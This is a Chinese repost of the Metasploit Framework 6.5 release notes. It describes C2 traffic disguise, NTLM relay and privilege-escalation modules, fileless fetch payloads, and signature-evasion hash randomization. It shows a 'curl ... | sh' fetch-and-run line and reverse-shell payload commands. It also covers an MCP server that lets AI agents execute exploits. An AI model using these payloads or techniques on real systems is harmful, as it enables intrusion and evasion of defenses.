请访问原文链接:Metasploit Framework 6.5 发布 - 开源渗透测试框架 查看最新版。原创作品,转载请保留出处。
作者主页:sysin.org

世界上最广泛使用的渗透测试框架
知识就是力量,尤其是当它被分享时。作为开源社区和 Rapid7 之间的合作,Metasploit 帮助安全团队做的不仅仅是验证漏洞、管理安全评估和提高安全意识 (sysin);更重要的是,它赋能防御者,使其能够始终在攻防博弈中领先一步(甚至两步)。

图为 Metasploit Pro Dashboard。
欢迎来到 Metasploit 的世界。你是否是一名 Metasploit 用户,想要开始使用它,或者提升你的漏洞利用与渗透能力(前提是对你有授权的目标进行测试)?最快的入门方式是下载 Metasploit 每夜构建安装包(nightly installers)。通过它,你可以同时获得免费的开源 Metasploit Framework,以及 Metasploit Pro 的免费试用版。
如果你使用的是 Kali Linux,那么 Metasploit 已经默认预装。关于如何在 Kali Linux 中开始使用 Metasploit,请参阅 Kali 的相关文档。
Metasploit Framework 6.5 发布
The Metasploit Team
2026 年 7 月 30 日

今天,我们很高兴地宣布 Metasploit Framework 6.5 正式发布。在过去两年中,在众多贡献者的帮助下,我们新增了 422 个模块,并加入了大量全新功能。
HTTP 的 Malleable C2 配置文件支持
本次版本中最受期待、呼声最高的新功能之一,是所有当前 Meterpreter Payload 对 Malleable C2 配置文件(Malleable C2 Profiles) 的支持。借助这一功能,用户可以将标准 Malleable C2 配置文件加载到 Meterpreter 中,并改变其 HTTP(S) 通信流量特征。
所有 Meterpreter,包括 Windows、Java、Python、PHP 和 Linux 版本,都已支持这一功能。由于分阶段(Staged)Payload 存在体积限制,因此只有在第二阶段载荷加载完成后才会应用 Malleable C2 配置。而无阶段(Stageless)Payload 不需要下载阶段,因此会立即使用 Malleable C2 配置。
选择兼容的 Payload 后,用户只需将 MALLEABLEC2 选项设置为本地磁盘上的配置文件即可。配置文件语法与其他工具保持一致,因此 Metasploit 能够直接加载公开提供的 Malleable C2 配置文件。虽然目前尚未支持所有配置指令,但未来还将持续完善。
下面的示例展示了如何部署一个使用 Amazon 浏览行为特征的 HTTP Meterpreter:
1 | msf exploit(windows/smb/psexec) > set PAYLOAD windows/x64/meterpreter_reverse_http |
有关更多信息、使用说明以及当前支持哪些 Profile 指令,请参阅 Malleable C2 文档。
Metasploit Framework 6.5 MCP Server
Metasploit 6.5 引入了 Metasploit MCP Server(msfmcpd),这是一个全新的中间件层,旨在帮助 AI 应用与 Metasploit Framework 之间进行安全、结构化的交互。
该服务器基于 Model Context Protocol(MCP),提供 16 个标准化工具,涵盖复杂侦察查询、活动会话管理等功能,使用户能够将 Metasploit 的强大能力直接集成到 Claude、Cursor 等 AI 驱动环境中。
✅ 工具分类
为了确保操作人员始终保持控制权,工具集被划分为两个类别:
- 只读工具(Read-Only Tools):默认启用,共 12 个工具。它们提供对 Framework 情报数据的深度访问,包括搜索可用 Exploit、查询已发现的主机与服务、获取已保存的凭据,以及查看当前运行的任务和会话等。这些工具使 LLM 能够在不修改目标环境状态的前提下提供具备上下文感知能力的建议 (sysin),非常适合禁止 AI 自主执行攻击操作的敏感环境。
- 危险工具(Dangerous Tools):为了保证安全,默认处于禁用状态,共 4 个高影响工具。包括执行模块、运行模块检查(Module Check)、终止会话,以及向交互式会话(如 Meterpreter)写入数据等操作。若希望 AI 自动执行漏洞利用,操作人员必须通过 CLI 参数(
--enable-dangerous-actions)、环境变量或配置项显式启用这些功能。
✅ LLM 工作流程示例
配置好 MCP Server 后,LLM Agent 可以自动完成渗透测试和漏洞验证流程中的部分工作。典型流程如下:
- 侦察(Reconnaissance):LLM 使用
msf_host_info与msf_service_info识别潜在目标,再利用msf_search_modules查找与目标服务版本匹配的 Exploit 模块。 - 验证(Validation):选定模块后,Agent 调用
msf_module_check(如已启用)评估目标是否存在漏洞,而无需真正执行 Exploit。 - 利用(Exploitation):如果检查确认漏洞存在,则调用
msf_module_execute,并传入相应的 Datastore 参数执行利用。 - 交互(Interaction):建立 Session 后,Agent 使用
msf_session_list确认连接状态,再通过msf_session_read解析 Session 输出,以理解目标环境,并在需要时利用msf_session_write向目标发送进一步的操作命令。
这种架构使安全专业人员能够将重复性的遥测信息收集工作交由 AI Agent 完成,同时对所有攻击性操作仍保留严格、基于策略的 Human-in-the-loop(人工审批) 控制机制。
✅ 启动 MCP Server
可以使用 msfmcpd 可执行程序启动服务器,也可以直接在 msfconsole 中运行:
1 | msf > load mcp |
用法
1 | msf > mcp <subcommand> [options] |
子命令
- status:显示 MCP Server 状态
- start:启动 MCP Server
- stop:停止 MCP Server
- restart:重启 MCP Server
- help:显示帮助信息
常用参数
- ServerHost=
:绑定地址(默认:localhost) - ServerPort=
:MCP 服务端口(默认:3000) - DangerousActions=<true|false>:启用危险工具(默认:false)
- RpcHost、RpcPort、RpcUser、RpcPass、RpcSSL:RPC 配置参数
- RateLimit=
:每分钟请求数限制(默认:60)
示例
1 | msf > mcp start |
中继功能改进
过去几年中,Metasploit 一直在持续改进其 NTLM 中继(NTLM relaying) 能力。虽然 NTLM 被认为是一种传统的身份验证协议,但它仍然广泛部署于企业环境中。
本次版本延续了这一发展方向,为 Framework 增加了第二种 NTLM Relay Server:HTTP(S)。用户现在可以启动一个恶意 HTTP 服务器,该服务器会请求身份验证,并将获取的身份验证信息中继到一个或多个用户指定的目标。
用户可以通过新增的 auxiliary/server/relay/http_to_smb 和 auxiliary/server/relay/http_to_ldap 模块利用此功能。这些模块分别建立 SMB 和 LDAP 会话,并允许用户以被中继凭据所属用户的身份与目标服务器进行交互。
交互式协议会话(Interactive Protocol Sessions)已经存在数年 (sysin),相比过去“只能使用 psexec”的方式,它为用户提供了一种更加容错的目标交互方式。
此外,SMB 会话现已增加对 sessions -u 的支持,使用户能够在需要时通过 psexec 将交互式 SMB 会话升级为 Meterpreter 会话。
NTLMRelay2Self
新增的从 HTTP 服务器向其他目标进行中继的能力,为独特的攻击流程提供了可能。其中一种技术被称为 NTLMRelay2Self。
这一多步骤流程包括强制目标通过 HTTP 向自身进行身份验证,从而创造中继机会。在利用该中继机会后,攻击者可以建立到域控制器(Domain Controller)的 LDAP 会话,并以计算机账户(Machine Account)的身份完成身份验证。
在此基础上,攻击者可以利用 RBCD(Resource-Based Constrained Delegation,基于资源的约束委派) 或 Shadow Credentials(影子凭据) 提升其在目标工作站上的权限(而非域控制器上的权限)。
虽然这些步骤都可以手动执行,但 Metasploit 新增了 exploits/windows/local/ntlm_relay_2_self 模块,用于自动化整个流程,在一次操作中完成中继步骤以及其他相关步骤。
这种特定攻击技术目前没有补丁,但利用它需要攻击者在已加入域的工作站上拥有本地用户权限;因此,它实际上成为一种长期有效的 LPE(Local Privilege Escalation,本地权限提升) 技术。
Fetch Payload 改进
Fetch Payload 最初创建的目的是帮助用户编写针对近年来不断出现的大量**命令注入漏洞(Command Injection)**的 Exploit。
它允许用户生成一个小型的基于命令的 Stager,该 Stager 会在目标主机上运行,并回连下载完整的二进制 Payload 并执行,使用户仅通过一次命令注入即可启动功能完整的二进制 Payload(EXE、ELF 或 DLL)。
为了进一步扩展 Fetch Payload 的实用性,本次新增了三个功能:
- Fileless Fetch Payload(无文件 Fetch Payload)
- Pipe Fetch Payload
- 支持新的 Multi 伪架构(multi pseudoarchitecture)Payload
Fileless Fetch Payload 正如其名称所示:此前,当 Fetch Command Stager 运行时,二进制 Payload 会被保存到磁盘上的某个位置,然后启动执行。
而 Fileless Fetch Payload 利用了 Linux Kernel 3.17 之后提供的一项功能,该功能允许通过 memfd_create 系统调用直接将文件写入内存并执行,因此目标磁盘不会接触任何文件。
目前支持三种 Fetch Fileless 使用方式:
- Python 3.8+
- shell
- shell-search
每种方式都使用不同技术在内存中创建文件并启动执行。
Fetch Pipe 是针对我们发现的一些 Exploit 而创建的,这些 Exploit 对命令长度有非常严格的限制,我们发现需要不断缩短用于获取二进制 Payload 的命令。
Fetch Pipe Payload 通过增加额外的 Fetch Command Stager 来解决这一问题,使用户只需要在远程主机上执行一个非常短的命令,该命令会请求一个更大的命令,而这个更大的命令随后再请求二进制 Payload。
这种方式使 Payload 大小大幅减少,同时也为创建更加复杂、功能更加丰富的 Fetch Command Stager 打开了空间 (sysin),因为我们可以使用非常小的“预 Stager(pre-stager)”,而不必使用包含更多长度、复杂性和编码要求的完整 Stager。
例如,下面生成一个 Fileless Fetch Payload 的命令:
1 | msf payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > generate -f raw |
下面是启用 fetch_pipe 后的相同命令:
1 | msf payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > set fetch_pipe true |
启用 fetch pipe 选项后,我们在目标上运行的 Payload 从 2,374 个字符减少到了 38 个字符。
Fetch Payload 在 6.5 版本中增加的最后一项新功能,是支持新的 Multi 伪架构(multi pseudoarchitecture)。
新的 Multi 伪架构允许用户生成一种 Fetch Payload Command Stager,该 Stager 在运行时会检测目标主机的架构,并在请求二进制 Payload 时回传目标架构信息,使 Fetch Handler 能够提供与目标架构匹配的 Payload。
这一功能在现代 Linux 硬件环境的漏洞利用过程中非常有用,因为 Linux 主机可能运行在多种不同架构之上,例如从 x86_64 到 ARM。
新的 Multi 伪架构允许用户将一个 Payload 发送到 Linux 主机,并且无论目标底层架构是什么,都可以直接正常运行,从而消除了用户需要提前了解(或正确猜测)目标架构的需求。
下面是生成 Fetch Multi Payload 和 Handler,然后在多个运行不同架构的 Linux 目标上执行 Fetch Command Stager 的示例:
1 | msf payload(cmd/linux/http/multi/meterpreter_reverse_tcp) > show options |
使用 info 或 info -d 命令可以查看完整模块信息。
1 | msf payload(cmd/linux/http/multi/meterpreter_reverse_tcp) > to_handler |
正如你所看到的,同一个简短命令:
1 | curl -s http://10.5.135.210:8080/x|sh |
配合同一个 Handler,可以向基于 ARMLE、AARCH64 和 MIPS64 架构的 Linux 主机提供对应的二进制 Payload。
Block API 哈希值已随机化
Block API 是 Shellcode 中的关键组件,是 Metasploit 所有 32 位和 64 位 Payload 的基础。
它允许 Shellcode 编写者通过方法名和模块名生成的 32 位哈希值 来调用 Win32 API 方法。
五年多以前,Metasploit 开始对这一部分 Shellcode 进行随机化处理,使其包含的 140 多个静态特征不再容易成为简单的签名检测依据。
然而,剩余的问题是 32 位 API 哈希值,其使用方式曾多次成为各种安全报告关注的对象。
今年,Metasploit 更新了 Block API,使 32 位哈希值本身也能够进行随机化。
现在,每次生成 Block API 时,不仅指令会被随机打乱,用于调用 Win32 API 方法的哈希值也会被随机化。
ATT&CK 元数据
当你拥有大约 4500 个 Exploit、Auxiliary 和 Post 模块 时,如何快速发现和定位所需模块可能会成为一个实际问题。
Metasploit 经常需要解决的问题之一,就是确保用户能够拥有最佳方式来查找他们需要的内容。
过去,这主要通过搜索功能改进,甚至包括一个 fzf 插件 来实现。
然而,用户经常需要做的一件事情是模拟真实世界中的威胁行为者。
大量威胁情报资料在记录攻击链时,会提供这些攻击技术。
Metasploit 已开始为自身模块添加 ATT&CK 标签(ATT&CK tags),使用户能够更加容易地查找使用特定技术的模块。
要搜索模块,可以使用 att&ck 搜索修饰符。
例如,要查找所有使用:**T1059.001(Command and Scripting Interpreter: PowerShell,命令和脚本解释器:PowerShell)**技术的模块,可以使用:att&ck:T1059.001 搜索。
搜索同时支持 ATT&CK 层级关系,因此如果希望更广泛地搜索:**T1059(Command and Scripting Interpreter,命令和脚本解释器)**可以使用:att&ck:T1059 此时搜索结果还会包含额外模块,例如: exploit/windows/mysql/mysql_mof。
结论
Metasploit 6.5 代表了该框架的一次重要演进,带来了大量新能力,旨在提升现代安全测试中的易用性和真实性。
从用户长期期待的 Malleable C2 Profiles 集成、全新的 Metasploit MCP Server,到高级 NTLM Relay、增强版 Fetch Payload 工具,以及 MITRE ATT&CK 标签引入,本版本旨在支持越来越复杂和自动化的安全测试流程。
我们期待看到这些工具如何帮助社区继续推动漏洞验证和威胁模拟能力的发展。
感谢所有帮助实现这一版本发布的贡献者。
版本比较
Open Source: Metasploit Framework
下载:Metasploit Framework 6.5 发布 - 开源渗透测试框架
Commercial Support: Metasploit Pro
下载:Metasploit Pro 4.22.9-2026030301 (Linux, Windows) - 专业渗透测试框架
| All Features | Pro | Framework |
|---|---|---|
| - Collect | ||
| De-facto standard for penetration testing with more than 1,500 exploits | ✅ | ✅ |
| Import of network data scan | ✅ | ✅ |
| Network discovery | ✅ | ❌ |
| Basic exploitation | ✅ | ❌ |
| MetaModules for discrete tasks such as network segmentation testing | ✅ | ❌ |
| Integrations via Remote API | ✅ | ❌ |
| - Automate | ||
| Simple web interface | ✅ | ❌ |
| Smart Exploitation | ✅ | ❌ |
| Automated credentials brute forcing | ✅ | ❌ |
| Baseline penetration testing reports | ✅ | ❌ |
| Wizards for standard baseline audits | ✅ | ❌ |
| Task chains for automated custom workflows | ✅ | ❌ |
| Closed-Loop vulnerability validation to prioritize remediation | ✅ | ❌ |
| - Infiltrate | ||
| Basic command-line interface | ❌ | ✅ |
| Manual exploitation | ❌ | ✅ |
| Manual credentials brute forcing | ❌ | ✅ |
| Dynamic payloads to evade leading anti-virus solutions | ✅ | ❌ |
| Phishing awareness management and spear phishing | ✅ | ❌ |
| Choice of advance command-line (Pro Console) and web interface | ✅ | ❌ |
下载地址
Metasploit Framework 6.5.x (macOS, Linux, Windows)
macOS:metasploit-framework-VERSION.x86_64.dmg
Windows:metasploit-framework-VERSION-x64.msi
Debian/Ubuntu:
Linux deb x64:metasploit-framework_VERSION_amd64.deb
Linux deb x86:metasploit-framework_VERSION_i386.deb
Linux deb arm64:metasploit-framework_VERSION_arm64.deb
Linux deb armhf (hard float):metasploit-framework_VERSION_armhf.deb
RHEL/Fedora:
Linux rpm x64:metasploit-framework-VERSION.el6.x86_64.rpm
相关产品:Metasploit Pro 5.0.0-2026070101 (Linux, Windows) - 专业渗透测试框架
更多:HTTP 协议与安全
文章用于推荐和分享优秀的软件产品及其相关技术,所有软件默认提供官方原版(免费版或试用版),免费分享。对于部分产品笔者加入了自己的理解和分析,方便学习和研究使用。任何内容若侵犯了您的版权,请联系作者删除。如果您喜欢这篇文章或者觉得它对您有所帮助,或者发现有不当之处,欢迎您发表评论,也欢迎您分享这个网站,或者赞赏一下作者,谢谢!
赞赏一下
敬请注册!点击 “登录” - “用户注册”(已知不支持 21.cn/189.cn 邮箱)。 请勿使用联合登录(已关闭)。

支付宝赞赏
微信赞赏